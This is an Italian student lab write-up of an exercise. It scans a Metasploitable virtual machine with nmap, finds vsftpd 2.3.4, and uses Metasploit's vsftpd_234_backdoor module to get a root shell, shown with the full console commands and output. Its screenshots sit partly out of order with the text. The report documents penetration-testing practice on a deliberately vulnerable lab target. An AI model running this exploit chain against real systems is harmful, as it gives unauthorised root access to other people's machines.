

W15D4- FRANCESCO MONTALTO

1.Per prima cosa ho verificato la raggiungibilità della macchina Metasploitable. Dopo aver

```
Matching Modules
=====
#  Name                                Disclosure Date  Rank    Check  Description
-  --
  0 auxiliary/dos/ftp/vsftpd_232        2011-02-03    normal  Yes    VSFTPD 2.3.2 Denial of Service
  1 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03    excellent  No    VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) >
```

configurato correttamente la rete, ho eseguito una scansione Nmap per identificare i servizi esposti.

```
msf > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
msf exploit(unix/ftp/vsftpd_234_backdoor) >
```

```
msf > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
msf exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):
msf > indo -d
[-] Unknown command: indo. Did you mean info? Run the help command for more details.
msf >
msf >
msf >
msf >
msf >
msf >
msf > search vsftpd

Matching Modules
=====
#  Name                                Disclosure Date  Rank    Check  Description
-  --
  0 auxiliary/dos/ftp/vsftpd_232        2011-02-03    normal  Yes    VSFTPD 2.3.2 Denial of Service
  1 exploit/unix/ftp/vsftpd_234_backdoor 2011-07-03    excellent  No    VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf >
```

```
kali@kali: ~
Session Actions Edit View Help
└─(kali㉿kali)-[~]
$ nmap -sV 192.168.1.149

Starting Nmap 7.95 ( https://nmap.org ) at 2025-11-16 18:57 CET
Nmap scan report for 192.168.1.149
Host is up (0.00099s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind     2 (RPC #100000)
139/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login?
514/tcp   open  shell        Netkit rshd
1099/tcp  open  java-rmi   GNU Classpath grmiregistry
1524/tcp  open  bindshell   Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ccproxy-ftp?
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:49:2D:ED (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CP
E: cpe:/o:linux:linux_kernel
```

2. Dopo aver individuato il servizio vulnerabile vsftpd 2.3.4, ho avviato la piattaforma Metasploit per ricercare un exploit compatibile.

Una

volta

caricata la console, ho ricercato i moduli relativi al servizio vsftpd tramite “search vsftpd”

3. Dopo aver identificato il modulo corretto per sfruttare la vulnerabilità del servizio FTP, ho proceduto a selezionarlo tramite “use exploit/unix/ftp/vsftpd_234_backdoor”.

Successivamente, ho impostato l'indirizzo IP della macchina target...

Ho verificato che tutti i parametri fossero corretti tramite “show options”

Come visibile, tutti i parametri sono corretti: **RHOSTS** = 192.168.1.149 e la porta corretta è la 21

4.A configurazione completata, ho avviato l'exploit con il comando “run”.

Qui è visibile la shell root, quindi ho potuto procedere alla creazione della cartella, come richiesto dall'esercizio.

```
View the full module info with the info, or info -d command.

msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.1.149:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling ...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.200:38201 → 192.168.1.149:6200) at 2025-11-16 19:06:54 +0100

whoami
root
█
```

5. Una volta ottenuto l'accesso come amministratore remoto alla macchina Metasploitable, ho navigato nella directory principale del file system ed ho creato la cartella richiesta dall'esercizio.

```
whoami
root
cd /
mkdir test_metasploit
ls -l
total 101
drwxr-xr-x    2 root root  4096 May 13  2012 bin
drwxr-xr-x    4 root root  1024 May 13  2012 boot
lrwxrwxrwx    1 root root   11 Apr 28  2010 cdrom → media/cdrom
drwxr-xr-x   14 root root 13480 Nov 16 12:52 dev
drwxr-xr-x   94 root root  4096 Nov 16 12:52 etc
drwxr-xr-x    6 root root  4096 Apr 16  2010 home
drwxr-xr-x    2 root root  4096 Mar 16  2010 initrd
lrwxrwxrwx    1 root root   32 Apr 28  2010 initrd.img → boot/initrd.img-2.6.24-16-server
drwxr-xr-x   13 root root  4096 May 13  2012 lib
drwx———    2 root root 16384 Mar 16  2010 lost+found
drwxr-xr-x    4 root root  4096 Mar 16  2010 media
drwxr-xr-x    3 root root  4096 Apr 28  2010 mnt
-rw———    1 root root 24567 Nov 16 12:52 nohup.out
drwxr-xr-x    2 root root  4096 Mar 16  2010 opt
dr-xr-xr-x  111 root root     0 Nov 16 12:52 proc
drwxr-xr-x   14 root root  4096 Nov 16 12:52 root
drwxr-xr-x    2 root root  4096 May 13  2012 sbin
drwxr-xr-x    2 root root  4096 Mar 16  2010 srv
drwxr-xr-x   12 root root     0 Nov 16 12:52 sys
drwx———    2 root root  4096 Nov 16 13:14 test_metasploit
drwxrwxrwt   4 root root  4096 Nov 16 12:53 tmp
drwxr-xr-x   12 root root  4096 Apr 27  2010 usr
drwxr-xr-x   14 root root  4096 Mar 17  2010 var
lrwxrwxrwx    1 root root   29 Apr 28  2010 vmlinuz → boot/vmlinuz-2.6.24-16-server
█
```

Ho navigato nella directory principale, creando poi la cartella richiesta (test_metasploit). Il comando "ls -l" mi ha permesso di verificare visivamente la corretta creazione della directory test_metasploit nella root del sistema.

La directory test_metasploit risulta correttamente presente nella root.

6. Terminata l'operazione, ho chiuso la sessione della shell e poi la console di Metasploit tramite "exit".

```
| exit  
[*] 192.168.1.149 - Command shell session 1 closed.  
msf exploit(unix/ftp/vsftpd_234_backdoor) > |
```

Posso procedere con l'esercizio facoltativo.